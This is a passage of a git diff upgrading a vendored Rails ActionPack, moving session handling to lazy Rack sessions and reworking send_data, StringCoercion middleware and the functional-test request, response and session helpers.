-          @cache.delete(@session_key)
-          @session_data = {}
-        end
-        
-        def data
-          @session_data
-        end
 
+          def set_session(env, sid, session_data)
+            options = env['rack.session.options']
+            expiry  = options[:expire_after] || 0
+            @pool.set(sid, session_data, expiry)
+            return true
+          rescue MemCache::MemCacheError, Errno::ECONNREFUSED
+            return false
+          end
       end
     end
   end
diff --git a/vendor/rails/actionpack/lib/action_controller/session_management.rb b/vendor/rails/actionpack/lib/action_controller/session_management.rb
index fd3d94ed..b556f046 100644
--- a/vendor/rails/actionpack/lib/action_controller/session_management.rb
+++ b/vendor/rails/actionpack/lib/action_controller/session_management.rb
@@ -1,17 +1,8 @@
-require 'action_controller/session/cookie_store'
-require 'action_controller/session/drb_store'
-require 'action_controller/session/mem_cache_store'
-if Object.const_defined?(:ActiveRecord)
-  require 'action_controller/session/active_record_store'
-end
-
 module ActionController #:nodoc:
   module SessionManagement #:nodoc:
     def self.included(base)
       base.class_eval do
         extend ClassMethods
-        alias_method_chain :process, :session_management_support
-        alias_method_chain :process_cleanup, :session_management_support
       end
     end
 
@@ -19,144 +10,45 @@ module ActionController #:nodoc:
       # Set the session store to be used for keeping the session data between requests.
       # By default, sessions are stored in browser cookies (<tt>:cookie_store</tt>),
       # but you can also specify one of the other included stores (<tt>:active_record_store</tt>,
-      # <tt>:p_store</tt>, <tt>:drb_store</tt>, <tt>:mem_cache_store</tt>, or
-      # <tt>:memory_store</tt>) or your own custom class.
+      # <tt>:mem_cache_store</tt>, or your own custom class.
       def session_store=(store)
-        ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS[:database_manager] =
-          store.is_a?(Symbol) ? CGI::Session.const_get(store == :drb_store ? "DRbStore" : store.to_s.camelize) : store
+        if store == :active_record_store
+          self.session_store = ActiveRecord::SessionStore
+        else
+          @@session_store = store.is_a?(Symbol) ?
+            Session.const_get(store.to_s.camelize) :
+            store
+        end
       end
 
       # Returns the session store class currently used.
       def session_store
-        ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS[:database_manager]
+        if defined? @@session_store
+          @@session_store
+        else
+          Session::CookieStore
+        end
+      end
+
+      def session=(options = {})
+        self.session_store = nil if options.delete(:disabled)
+        session_options.merge!(options)
       end
 
       # Returns the hash used to configure the session. Example use:
       #
-      #   ActionController::Base.session_options[:session_secure] = true # session only available over HTTPS
+      #   ActionController::Base.session_options[:secure] = true # session only available over HTTPS
       def session_options
-        ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS
+        @session_options ||= {}
       end
-      
-      # Specify how sessions ought to be managed for a subset of the actions on
-      # the controller. Like filters, you can specify <tt>:only</tt> and
-      # <tt>:except</tt> clauses to restrict the subset, otherwise options
-      # apply to all actions on this controller.
-      #
-      # The session options are inheritable, as well, so if you specify them in
-      # a parent controller, they apply to controllers that extend the parent.
-      #
-      # Usage:
-      #
-      #   # turn off session management for all actions.
-      #   session :off
-      #
-      #   # turn off session management for all actions _except_ foo and bar.
-      #   session :off, :except => %w(foo bar)
-      #
-      #   # turn off session management for only the foo and bar actions.
-      #   session :off, :only => %w(foo bar)
-      #
-      #   # the session will only work over HTTPS, but only for the foo action
-      #   session :only => :foo, :session_secure => true
-      #
-      #   # the session by default uses HttpOnly sessions for security reasons.
-      #   # this can be switched off.
-      #   session :only => :foo, :session_http_only => false
-      #
-      #   # the session will only be disabled for 'foo', and only if it is
-      #   # requested as a web service
-      #   session :off, :only => :foo,
-      #           :if => Proc.new { |req| req.parameters[:ws] }
-      #
-      #   # the session will be disabled for non html/ajax requests
-      #   session :off, 
-      #     :if => Proc.new { |req| !(req.format.html? || req.format.js?) }
-      #
-      #   # turn the session back on, useful when it was turned off in the
-      #   # application controller, and you need it on in another controller
-      #   session :on
-      #
-      # All session options described for ActionController::Base.process_cgi
-      # are valid arguments.
+
       def session(*args)
-        options = args.extract_options!
-
-        options[:disabled] = false if args.delete(:on)
-        options[:disabled] = true if !args.empty?
-        options[:only] = [*options[:only]].map { |o| o.to_s } if options[:only]
-        options[:except] = [*options[:except]].map { |o| o.to_s } if options[:except]
-        if options[:only] && options[:except]
-          raise ArgumentError, "only one of either :only or :except are allowed"
-        end
-
-        write_inheritable_array(:session_options, [options])
-      end
-
-      # So we can declare session options in the Rails initializer.
-      alias_method :session=, :session
-
-      def cached_session_options #:nodoc:
-        @session_options ||= read_inheritable_attribute(:session_options) || []
-      end
-
-      def session_options_for(request, action) #:nodoc:
-        if (session_options = cached_session_options).empty?
-          {}
-        else
-          options = {}
-
-          action = action.to_s
-          session_options.each do |opts|
-            next if opts[:if] && !opts[:if].call(request)
-            if opts[:only] && opts[:only].include?(action)
-              options.merge!(opts)
-            elsif opts[:except] && !opts[:except].include?(action)
-              options.merge!(opts)
-            elsif !opts[:only] && !opts[:except]
-              options.merge!(opts)
-            end
-          end
-          
-          if options.empty? then options
-          else
-            options.delete :only
-            options.delete :except
-            options.delete :if
-            options[:disabled] ? false : options
-          end
-        end
+        ActiveSupport::Deprecation.warn(
+          "Disabling sessions for a single controller has been deprecated. " +
+          "Sessions are now lazy loaded. So if you don't access them, " +
+          "consider them off. You can still modify the session cookie " +
+          "options with request.session_options.", caller)
       end
     end
-
-    def process_with_session_management_support(request, response, method = :perform_action, *arguments) #:nodoc:
-      set_session_options(request)
-      process_without_session_management_support(request, response, method, *arguments)
-    end
-
-    private
-      def set_session_options(request)
-        request.session_options = self.class.session_options_for(request, request.parameters["action"] || "index")
-      end
-      
-      def process_cleanup_with_session_management_support
-        clear_persistent_model_associations
-        process_cleanup_without_session_management_support
-      end
-
-      # Clear cached associations in session data so they don't overflow
-      # the database field.  Only applies to ActiveRecordStore since there
-      # is not a standard way to iterate over session data.
-      def clear_persistent_model_associations #:doc:
-        if defined?(@_session) && @_session.respond_to?(:data)
-          session_data = @_session.data
-
-          if session_data && session_data.respond_to?(:each_value)
-            session_data.each_value do |obj|
-              obj.clear_association_cache if obj.respond_to?(:clear_association_cache)
-            end
-          end
-        end
-      end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/streaming.rb b/vendor/rails/actionpack/lib/action_controller/streaming.rb
index 333fb61b..372470f0 100644
--- a/vendor/rails/actionpack/lib/action_controller/streaming.rb
+++ b/vendor/rails/actionpack/lib/action_controller/streaming.rb
@@ -1,5 +1,8 @@
+require 'active_support/core_ext/string/bytesize'
+
 module ActionController #:nodoc:
-  # Methods for sending files and streams to the browser instead of rendering.
+  # Methods for sending arbitrary data and for streaming files to the browser,
+  # instead of rendering.
   module Streaming
     DEFAULT_SEND_FILE_OPTIONS = {
       :type         => 'application/octet-stream'.freeze,
@@ -24,7 +27,8 @@ module ActionController #:nodoc:
       # Options:
       # * <tt>:filename</tt> - suggests a filename for the browser to use.
       #   Defaults to <tt>File.basename(path)</tt>.
-      # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'.
+      # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'. You can specify
+      #   either a string or a symbol for a registered type register with <tt>Mime::Type.register</tt>, for example :json
       # * <tt>:length</tt> - used to manually override the length (in bytes) of the content that
       #   is going to be sent to the client. Defaults to <tt>File.size(path)</tt>.
       # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
@@ -102,12 +106,16 @@ module ActionController #:nodoc:
         end
       end
 
-      # Send binary data to the user as a file download.  May set content type, apparent file name,
-      # and specify whether to show data inline or download as an attachment.
+      # Sends the given binary data to the browser. This method is similar to
+      # <tt>render :text => data</tt>, but also allows you to specify whether
+      # the browser should display the response as a file attachment (i.e. in a
+      # download dialog) or as inline data. You may also set the content type,
+      # the apparent file name, and other things.
       #
       # Options:
       # * <tt>:filename</tt> - suggests a filename for the browser to use.
-      # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'.
+      # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'. You can specify
+      #   either a string or a symbol for a registered type register with <tt>Mime::Type.register</tt>, for example :json
       # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
       #   Valid values are 'inline' and 'attachment' (default).
       # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to '200 OK'.
@@ -125,9 +133,13 @@ module ActionController #:nodoc:
       #   send_data image.data, :type => image.content_type, :disposition => 'inline'
       #
       # See +send_file+ for more information on HTTP Content-* headers and caching.
+      #
+      # <b>Tip:</b> if you want to stream large amounts of on-the-fly generated
+      # data to the browser, then use <tt>render :text => proc { ... }</tt>
+      # instead. See ActionController::Base#render for more information.
       def send_data(data, options = {}) #:doc:
         logger.info "Sending data #{options[:filename]}" if logger
-        send_file_headers! options.merge(:length => data.size)
+        send_file_headers! options.merge(:length => data.bytesize)
         @performed_render = false
         render :status => options[:status], :text => data
       end
@@ -143,9 +155,16 @@ module ActionController #:nodoc:
 
         disposition <<= %(; filename="#{options[:filename]}") if options[:filename]
 
-        headers.update(
-          'Content-Length'            => options[:length],
-          'Content-Type'              => options[:type].to_s.strip,  # fixes a problem with extra '\r' with some browsers
+        content_type = options[:type]
+        if content_type.is_a?(Symbol)
+          raise ArgumentError, "Unknown MIME type #{options[:type]}" unless Mime::EXTENSION_LOOKUP.has_key?(content_type.to_s)
+          content_type = Mime::Type.lookup_by_extension(content_type.to_s)
+        end
+        content_type = content_type.to_s.strip # fixes a problem with extra '\r' with some browsers
+
+        headers.merge!(
+          'Content-Length'            => options[:length].to_s,
+          'Content-Type'              => content_type,
           'Content-Disposition'       => disposition,
           'Content-Transfer-Encoding' => 'binary'
         )
diff --git a/vendor/rails/actionpack/lib/action_controller/string_coercion.rb b/vendor/rails/actionpack/lib/action_controller/string_coercion.rb
new file mode 100644
index 00000000..6d8c24e9
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_controller/string_coercion.rb
@@ -0,0 +1,29 @@
+module ActionController
+  class StringCoercion
+    class UglyBody < ActiveSupport::BasicObject
+      def initialize(body)
+        @body = body
+      end
+
+      def each
+        @body.each do |part|
+          yield part.to_s
+        end
+      end
+
+      private
+        def method_missing(*args, &block)
+          @body.__send__(*args, &block)
+        end
+    end
+
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      status, headers, body = @app.call(env)
+      [status, headers, UglyBody.new(body)]
+    end
+  end
+end
diff --git a/vendor/rails/actionpack/lib/action_controller/templates/rescues/diagnostics.erb b/vendor/rails/actionpack/lib/action_controller/templates/rescues/diagnostics.erb
index b5483ecc..669da1b2 100644
--- a/vendor/rails/actionpack/lib/action_controller/templates/rescues/diagnostics.erb
+++ b/vendor/rails/actionpack/lib/action_controller/templates/rescues/diagnostics.erb
@@ -6,6 +6,6 @@
 </h1>
 <pre><%=h @exception.clean_message %></pre>
 
-<%= render(:file => @rescues_path + "/_trace.erb") %>
+<%= render :file => @rescues_path["rescues/_trace.erb"] %>
 
-<%= render(:file => @rescues_path + "/_request_and_response.erb") %>
+<%= render :file => @rescues_path["rescues/_request_and_response.erb"] %>
diff --git a/vendor/rails/actionpack/lib/action_controller/templates/rescues/template_error.erb b/vendor/rails/actionpack/lib/action_controller/templates/rescues/template_error.erb
index 76fa3df8..2e34e03b 100644
--- a/vendor/rails/actionpack/lib/action_controller/templates/rescues/template_error.erb
+++ b/vendor/rails/actionpack/lib/action_controller/templates/rescues/template_error.erb
@@ -15,7 +15,7 @@
 
 <% @real_exception = @exception
    @exception = @exception.original_exception || @exception %>
-<%= render(:file => @rescues_path + "/_trace.erb") %>
+<%= render :file => @rescues_path["rescues/_trace.erb"] %>
 <% @exception = @real_exception %>
 
-<%= render(:file => @rescues_path + "/_request_and_response.erb") %>
+<%= render :file => @rescues_path["rescues/_request_and_response.erb"] %>
diff --git a/vendor/rails/actionpack/lib/action_controller/test_case.rb b/vendor/rails/actionpack/lib/action_controller/test_case.rb
index 4fc60f06..62286ff3 100644
--- a/vendor/rails/actionpack/lib/action_controller/test_case.rb
+++ b/vendor/rails/actionpack/lib/action_controller/test_case.rb
@@ -1,20 +1,7 @@
 require 'active_support/test_case'
+require 'action_controller/test_process'
 
 module ActionController
-  class NonInferrableControllerError < ActionControllerError
-    def initialize(name)
-      @name = name
-      super "Unable to determine the controller to test from #{name}. " +
-        "You'll need to specify it using 'tests YourController' in your " +
-        "test case definition. This could mean that #{inferred_controller_name} does not exist " +
-        "or it contains syntax errors"
-    end
-
-    def inferred_controller_name
-      @name.sub(/Test$/, '')
-    end
-  end
-
   # Superclass for ActionController functional tests. Functional tests allow you to
   # test a single controller action per test method. This should not be confused with
   # integration tests (see ActionController::IntegrationTest), which are more like
@@ -74,7 +61,70 @@ module ActionController
   #   class SpecialEdgeCaseWidgetsControllerTest < ActionController::TestCase
   #     tests WidgetController
   #   end
+  #
+  # == Testing controller internals
+  #
+  # In addition to these specific assertions, you also have easy access to various collections that the regular test/unit assertions
+  # can be used against. These collections are:
+  #
+  # * assigns: Instance variables assigned in the action that are available for the view.
+  # * session: Objects being saved in the session.
+  # * flash: The flash objects currently in the session.
+  # * cookies: Cookies being sent to the user on this request.
+  #
+  # These collections can be used just like any other hash:
+  #
+  #   assert_not_nil assigns(:person) # makes sure that a @person instance variable was set
+  #   assert_equal "Dave", cookies[:name] # makes sure that a cookie called :name was set as "Dave"
+  #   assert flash.empty? # makes sure that there's nothing in the flash
+  #
+  # For historic reasons, the assigns hash uses string-based keys. So assigns[:person] won't work, but assigns["person"] will. To
+  # appease our yearning for symbols, though, an alternative accessor has been devised using a method call instead of index referencing.
+  # So assigns(:person) will work just like assigns["person"], but again, assigns[:person] will not work.
+  #
+  # On top of the collections, you have the complete url that a given action redirected to available in redirect_to_url.
+  #
+  # For redirects within the same controller, you can even call follow_redirect and the redirect will be followed, triggering another
+  # action call which can then be asserted against.
+  #
+  # == Manipulating the request collections
+  #
+  # The collections described above link to the response, so you can test if what the actions were expected to do happened. But
+  # sometimes you also want to manipulate these collections in the incoming request. This is really only relevant for sessions
+  # and cookies, though. For sessions, you just do:
+  #
+  #   @request.session[:key] = "value"
+  #   @request.cookies["key"] = "value"
+  #
+  # == Testing named routes
+  #
+  # If you're using named routes, they can be easily tested using the original named routes' methods straight in the test case.
+  # Example:
+  #
+  #  assert_redirected_to page_url(:title => 'foo')
   class TestCase < ActiveSupport::TestCase
+    include TestProcess
+
+    def initialize(*args)
+      super
+      @controller = nil
+    end
+
+    module Assertions
+      %w(response selector tag dom routing model).each do |kind|
+        include ActionController::Assertions.const_get("#{kind.camelize}Assertions")
+      end
+
+      def clean_backtrace(&block)
+        yield
+      rescue ActiveSupport::TestCase::Assertion => error
+        framework_path = Regexp.new(File.expand_path("#{File.dirname(__FILE__)}/assertions"))
+        error.backtrace.reject! { |line| File.expand_path(line) =~ framework_path }
+        raise
+      end
+    end
+    include Assertions
+
     # When the request.remote_addr remains the default for testing, which is 0.0.0.0, the exception is simply raised inline
     # (bystepping the regular exception handling from rescue_action). If the request.remote_addr is anything else, the regular
     # rescue_action process takes place. This means you can test your rescue_action code by setting remote_addr to something else
@@ -82,17 +132,23 @@ module ActionController
     #
     # The exception is stored in the exception accessor for further inspection.
     module RaiseActionExceptions
-      attr_accessor :exception
-
-      def rescue_action_without_handler(e)
-        self.exception = e
-        
-        if request.remote_addr == "0.0.0.0"
-          raise(e)
-        else
-          super(e)
+      def self.included(base)
+        base.class_eval do
+          attr_accessor :exception
+          protected :exception, :exception=
         end
       end
+
+      protected
+        def rescue_action_without_handler(e)
+          self.exception = e
+
+          if request.remote_addr == "0.0.0.0"
+            raise(e)
+          else
+            super(e)
+          end
+        end
     end
 
     setup :setup_controller_request_and_response
@@ -107,7 +163,7 @@ module ActionController
       end
 
       def controller_class=(new_class)
-        prepare_controller_class(new_class)
+        prepare_controller_class(new_class) if new_class
         write_inheritable_attribute(:controller_class, new_class)
       end
 
@@ -122,7 +178,7 @@ module ActionController
       def determine_default_controller_class(name)
         name.sub(/Test$/, '').constantize
       rescue NameError
-        raise NonInferrableControllerError.new(name)
+        nil
       end
 
       def prepare_controller_class(new_class)
@@ -131,17 +187,23 @@ module ActionController
     end
 
     def setup_controller_request_and_response
-      @controller = self.class.controller_class.new
-      @controller.request = @request = TestRequest.new
+      @request = TestRequest.new
       @response = TestResponse.new
 
-      @controller.params = {}
-      @controller.send(:initialize_current_url)
+      if klass = self.class.controller_class
+        @controller ||= klass.new rescue nil
+      end
+
+      if @controller
+        @controller.request = @request
+        @controller.params = {}
+        @controller.send(:initialize_current_url)
+      end
     end
-    
+
     # Cause the action to be rescued according to the regular rules for rescue_action when the visitor is not local
     def rescue_action_in_public!
       @request.remote_addr = '208.77.188.166' # example.com
     end
- end
+  end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/test_process.rb b/vendor/rails/actionpack/lib/action_controller/test_process.rb
index 1e3a646b..fd9f90b1 100644
--- a/vendor/rails/actionpack/lib/action_controller/test_process.rb
+++ b/vendor/rails/actionpack/lib/action_controller/test_process.rb
@@ -1,51 +1,28 @@
-require 'action_controller/assertions'
-require 'action_controller/test_case'
-
+require 'rack/session/abstract/id'
 module ActionController #:nodoc:
-  class Base
-    attr_reader :assigns
-
-    # Process a test request called with a TestRequest object.
-    def self.process_test(request)
-      new.process_test(request)
-    end
-
-    def process_test(request) #:nodoc:
-      process(request, TestResponse.new)
-    end
-
-    def process_with_test(*args)
-      returning process_without_test(*args) do
-        @assigns = {}
-        (instance_variable_names - @@protected_instance_variables).each do |var|
-          value = instance_variable_get(var)
-          @assigns[var[1..-1]] = value
-          response.template.assigns[var[1..-1]] = value if response
-        end
-      end
-    end
-
-    alias_method_chain :process, :test
-  end
-
-  class TestRequest < AbstractRequest #:nodoc:
+  class TestRequest < Request #:nodoc:
     attr_accessor :cookies, :session_options
-    attr_accessor :query_parameters, :request_parameters, :path, :session
-    attr_accessor :host, :user_agent
+    attr_accessor :query_parameters, :path, :session
+    attr_accessor :host
 
-    def initialize(query_parameters = nil, request_parameters = nil, session = nil)
-      @query_parameters   = query_parameters || {}
-      @request_parameters = request_parameters || {}
-      @session            = session || TestSession.new
+    def self.new(env = {})
+      super
+    end
+
+    def initialize(env = {})
+      super(Rack::MockRequest.env_for("/").merge(env))
+
+      @query_parameters   = {}
+      @session            = TestSession.new
+      default_rack_options = Rack::Session::Abstract::ID::DEFAULT_OPTIONS
+      @session_options    ||= {:id => generate_sid(default_rack_options[:sidbits])}.merge(default_rack_options)
 
-      initialize_containers
       initialize_default_values
-
-      super()
+      initialize_containers
     end
 
     def reset_session
-      @session = TestSession.new
+      @session.reset
     end
 
     # Wraps raw_post in a StringIO.
@@ -56,12 +33,15 @@ module ActionController #:nodoc:
     # Either the RAW_POST_DATA environment variable or the URL-encoded request
     # parameters.
     def raw_post
-      env['RAW_POST_DATA'] ||= returning(url_encoded_request_parameters) { |b| b.force_encoding(Encoding::BINARY) if b.respond_to?(:force_encoding) }
+      @env['RAW_POST_DATA'] ||= begin
+        data = url_encoded_request_parameters
+        data.force_encoding(Encoding::BINARY) if data.respond_to?(:force_encoding)
+        data
+      end
     end
 
     def port=(number)
       @env["SERVER_PORT"] = number.to_i
-      port(true)
     end
 
     def action=(action_name)
@@ -75,8 +55,6 @@ module ActionController #:nodoc:
       @env["REQUEST_URI"] = value
       @request_uri = nil
       @path = nil
-      request_uri(true)
-      path(true)
     end
 
     def request_uri=(uri)
@@ -84,9 +62,13 @@ module ActionController #:nodoc:
       @path = uri.split("?").first
     end
 
+    def request_method=(method)
+      @request_method = method
+    end
+
     def accept=(mime_types)
       @env["HTTP_ACCEPT"] = Array(mime_types).collect { |mime_types| mime_types.to_s }.join(",")
-      accepts(true)
+      @accepts = nil
     end
 
     def if_modified_since=(last_modified)
@@ -102,14 +84,14 @@ module ActionController #:nodoc:
     end
 
     def request_uri(*args)
-      @request_uri || super
+      @request_uri || super()
     end
 
     def path(*args)
-      @path || super
+      @path || super()
     end
 
-    def assign_parameters(controller_path, action, parameters)
+    def assign_parameters(controller_path, action, parameters = {})
       parameters = parameters.symbolize_keys.merge(:controller => controller_path, :action => action)
       extra_keys = ActionController::Routing::Routes.extra_keys(parameters)
       non_path_parameters = get? ? query_parameters : request_parameters
@@ -126,26 +108,35 @@ module ActionController #:nodoc:
           path_parameters[key.to_s] = value
         end
       end
+      raw_post # populate env['RAW_POST_DATA']
       @parameters = nil # reset TestRequest#parameters to use the new path_parameters
     end
 
     def recycle!
-      self.request_parameters = {}
+      @env["action_controller.request.request_parameters"] = {}
       self.query_parameters   = {}
       self.path_parameters    = {}
-      unmemoize_all
+      @headers, @request_method, @accepts, @content_type = nil, nil, nil, nil
+    end
+
+    def user_agent=(user_agent)
+      @env['HTTP_USER_AGENT'] = user_agent
     end
 
     private
+      def generate_sid(sidbits)
+        "%0#{sidbits / 4}x" % rand(2**sidbits - 1)
+      end
+
       def initialize_containers
-        @env, @cookies = {}, {}
+        @cookies = {}
       end
 
       def initialize_default_values
         @host                    = "test.host"
         @request_uri             = "/"
-        @user_agent              = "Rails Testing"
-        self.remote_addr         = "0.0.0.0"
+        @env['HTTP_USER_AGENT']  = "Rails Testing"
+        @env['REMOTE_ADDR']      = "0.0.0.0"
         @env["SERVER_PORT"]      = 80
         @env['REQUEST_METHOD']   = "GET"
       end
@@ -167,7 +158,7 @@ module ActionController #:nodoc:
   module TestResponseBehavior #:nodoc:
     # The response code of the request
     def response_code
-      status[0,3].to_i rescue 0
+      status.to_s[0,3].to_i rescue 0
     end
 
     # Returns a String to ensure compatibility with Net::HTTPResponse
@@ -201,6 +192,11 @@ module ActionController #:nodoc:
 
     alias_method :server_error?, :error?
 
+    # Was there a client client?
+    def client_error?
+      (400..499).include?(response_code)
+    end
+
     # Returns the redirection location or nil
     def redirect_url
       headers['Location']
@@ -217,8 +213,8 @@ module ActionController #:nodoc:
 
     # Returns the template of the file which was used to
     # render this response (or nil)
-    def rendered_template
-      template.instance_variable_get(:@_first_render)
+    def rendered
+      template.instance_variable_get(:@_rendered)
     end
 
     # A shortcut to the flash. Returns an empty hash if no session flash exists.
@@ -228,7 +224,7 @@ module ActionController #:nodoc:
 
     # Do we have a flash?
     def has_flash?
-      !session['flash'].empty?
+      !flash.empty?
     end
 
     # Do we have a flash that has contents?
@@ -256,11 +252,16 @@ module ActionController #:nodoc:
       !template_objects[name].nil?
     end
 
-    # Returns the response cookies, converted to a Hash of (name => CGI::Cookie) pairs
+    # Returns the response cookies, converted to a Hash of (name => value) pairs
     #
-    #   assert_equal ['AuthorOfNewPage'], r.cookies['author'].value
+    #   assert_equal 'AuthorOfNewPage', r.cookies['author']
     def cookies
-      headers['cookie'].inject({}) { |hash, cookie| hash[cookie.name] = cookie; hash }
+      cookies = {}
+      Array(headers['Set-Cookie']).each do |cookie|
+        key, value = cookie.split(";").first.split("=").map {|val| Rack::Utils.unescape(val)}
+        cookies[key] = value
+      end
+      cookies
     end
 
     # Returns binary content (downloadable file), converted to a String
@@ -281,48 +282,72 @@ module ActionController #:nodoc:
   # TestResponse, which represent the HTTP response results of the requested
   # controller actions.
   #
-  # See AbstractResponse for more information on controller response objects.
-  class TestResponse < AbstractResponse
+  # See Response for more information on controller response objects.
+  class TestResponse < Response
     include TestResponseBehavior
-    
+
     def recycle!
       headers.delete('ETag')
       headers.delete('Last-Modified')
     end
   end
 
-  class TestSession #:nodoc:
+  class TestSession < Hash #:nodoc:
     attr_accessor :session_id
 
     def initialize(attributes = nil)
-      @session_id = ''
-      @attributes = attributes.nil? ? nil : attributes.stringify_keys
-      @saved_attributes = nil
+      reset_session_id
+      replace_attributes(attributes)
+    end
+
+    def reset
+      reset_session_id
+      replace_attributes({ })
     end
 
     def data
-      @attributes ||= @saved_attributes || {}
+      to_hash
     end
 
     def [](key)
-      data[key.to_s]
+      super(key.to_s)
     end
 
     def []=(key, value)
-      data[key.to_s] = value
+      super(key.to_s, value)
     end
 
-    def update
-      @saved_attributes = @attributes
+    def update(hash = nil)
+      if hash.nil?
+        ActiveSupport::Deprecation.warn('use replace instead', caller)
+        replace({})
+      else
+        super(hash)
+      end
     end
 
-    def delete
-      @attributes = nil
+    def delete(key = nil)
+      if key.nil?
+        ActiveSupport::Deprecation.warn('use clear instead', caller)
+        clear
+      else
+        super(key.to_s)
+      end
     end
 
     def close
-      update
-      delete
+      ActiveSupport::Deprecation.warn('sessions should no longer be closed', caller)
+    end
+
+  private
+
+    def reset_session_id
+      @session_id = ''
+    end
+
+    def replace_attributes(attributes = nil)
+      attributes ||= {}
+      replace(attributes.stringify_keys)
     end
   end
 
@@ -333,10 +358,10 @@ module ActionController #:nodoc:
   # a file upload.
   #
   # Usage example, within a functional test:
-  #   post :change_avatar, :avatar => ActionController::TestUploadedFile.new(Test::Unit::TestCase.fixture_path + '/files/spongebob.png', 'image/png')
+  #   post :change_avatar, :avatar => ActionController::TestUploadedFile.new(ActionController::TestCase.fixture_path + '/files/spongebob.png', 'image/png')
   #
   # Pass a true third parameter to ensure the uploaded file is opened in binary mode (only required for Windows):
-  #   post :change_avatar, :avatar => ActionController::TestUploadedFile.new(Test::Unit::TestCase.fixture_path + '/files/spongebob.png', 'image/png', :binary)
+  #   post :change_avatar, :avatar => ActionController::TestUploadedFile.new(ActionController::TestCase.fixture_path + '/files/spongebob.png', 'image/png', :binary)
   require 'tempfile'
   class TestUploadedFile
     # The filename, *not* including the path, of the "uploaded" file
@@ -368,20 +393,33 @@ module ActionController #:nodoc:
 
   module TestProcess
     def self.included(base)
-      # execute the request simulating a specific HTTP method and set/volley the response
-      # TODO: this should be un-DRY'ed for the sake of API documentation.
-      %w( get post put delete head ).each do |method|
-        base.class_eval <<-EOV, __FILE__, __LINE__
-          def #{method}(action, parameters = nil, session = nil, flash = nil)
-            @request.env['REQUEST_METHOD'] = "#{method.upcase}" if defined?(@request)
-            process(action, parameters, session, flash)
-          end
-        EOV
+      # Executes a request simulating GET HTTP method and set/volley the response
+      def get(action, parameters = nil, session = nil, flash = nil)
+        process(action, parameters, session, flash, "GET")
+      end
+
+      # Executes a request simulating POST HTTP method and set/volley the response
+      def post(action, parameters = nil, session = nil, flash = nil)
+        process(action, parameters, session, flash, "POST")
+      end
+
+      # Executes a request simulating PUT HTTP method and set/volley the response
+      def put(action, parameters = nil, session = nil, flash = nil)
+        process(action, parameters, session, flash, "PUT")
+      end
+
+      # Executes a request simulating DELETE HTTP method and set/volley the response
+      def delete(action, parameters = nil, session = nil, flash = nil)
+        process(action, parameters, session, flash, "DELETE")
+      end
+
+      # Executes a request simulating HEAD HTTP method and set/volley the response
+      def head(action, parameters = nil, session = nil, flash = nil)
+        process(action, parameters, session, flash, "HEAD")
       end
     end
 
-    # execute the request and set/volley the response
-    def process(action, parameters = nil, session = nil, flash = nil)
+    def process(action, parameters = nil, session = nil, flash = nil, http_method = 'GET')
       # Sanity check for required instance variables so we can give an
       # understandable error message.
       %w(@controller @request @response).each do |iv_name|
@@ -394,7 +432,7 @@ module ActionController #:nodoc:
       @response.recycle!
 
       @html_document = nil
-      @request.env['REQUEST_METHOD'] ||= "GET"
+      @request.env['REQUEST_METHOD'] = http_method
 
       @request.action = action.to_s
 
@@ -404,12 +442,14 @@ module ActionController #:nodoc:
       @request.session = ActionController::TestSession.new(session) unless session.nil?
       @request.session["flash"] = ActionController::Flash::FlashHash.new.update(flash) if flash
       build_request_uri(action, parameters)
-      @controller.process(@request, @response)
+
+      Base.class_eval { include ProcessWithTest } unless Base < ProcessWithTest
+      @controller.process_with_test(@request, @response)
     end
 
     def xml_http_request(request_method, action, parameters = nil, session = nil, flash = nil)
       @request.env['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'
-      @request.env['HTTP_ACCEPT'] = 'text/javascript, text/html, application/xml, text/xml, */*'
+      @request.env['HTTP_ACCEPT'] =  [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
       returning __send__(request_method, action, parameters, session, flash) do
         @request.env.delete 'HTTP_X_REQUESTED_WITH'
         @request.env.delete 'HTTP_ACCEPT'
@@ -426,7 +466,7 @@ module ActionController #:nodoc:
     end
 
     def session
-      @response.session
+      @request.session
     end
 
     def flash
@@ -464,15 +504,15 @@ module ActionController #:nodoc:
       html_document.find_all(conditions)
     end
 
-    def method_missing(selector, *args)
-      if ActionController::Routing::Routes.named_routes.helpers.include?(selector)
-        @controller.send(selector, *args)
+    def method_missing(selector, *args, &block)
+      if @controller && ActionController::Routing::Routes.named_routes.helpers.include?(selector)
+        @controller.send(selector, *args, &block)
       else
         super
       end
     end
 
-    # Shortcut for <tt>ActionController::TestUploadedFile.new(Test::Unit::TestCase.fixture_path + path, type)</tt>:
+    # Shortcut for <tt>ActionController::TestUploadedFile.new(ActionController::TestCase.fixture_path + path, type)</tt>:
     #
     #   post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png')
     #
@@ -481,11 +521,8 @@ module ActionController #:nodoc:
     #
     #   post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png', :binary)
     def fixture_file_upload(path, mime_type = nil, binary = false)
-      ActionController::TestUploadedFile.new(
-        Test::Unit::TestCase.respond_to?(:fixture_path) ? Test::Unit::TestCase.fixture_path + path : path,
-        mime_type,
-        binary
-      )
+      fixture_path = ActionController::TestCase.send(:fixture_path) if ActionController::TestCase.respond_to?(:fixture_path)
+      ActionController::TestUploadedFile.new("#{fixture_path}#{path}", mime_type, binary)
     end
 
     # A helper to make it easier to test different route configurations.
@@ -520,12 +557,24 @@ module ActionController #:nodoc:
       ActionController::Routing.const_set(:Routes, real_routes) if real_routes
     end
   end
-end
 
-module Test
-  module Unit
-    class TestCase #:nodoc:
-      include ActionController::TestProcess
+  module ProcessWithTest #:nodoc:
+    def self.included(base)
+      base.class_eval { attr_reader :assigns }
     end
+
+    def process_with_test(*args)
+      process(*args).tap { set_test_assigns }
+    end
+
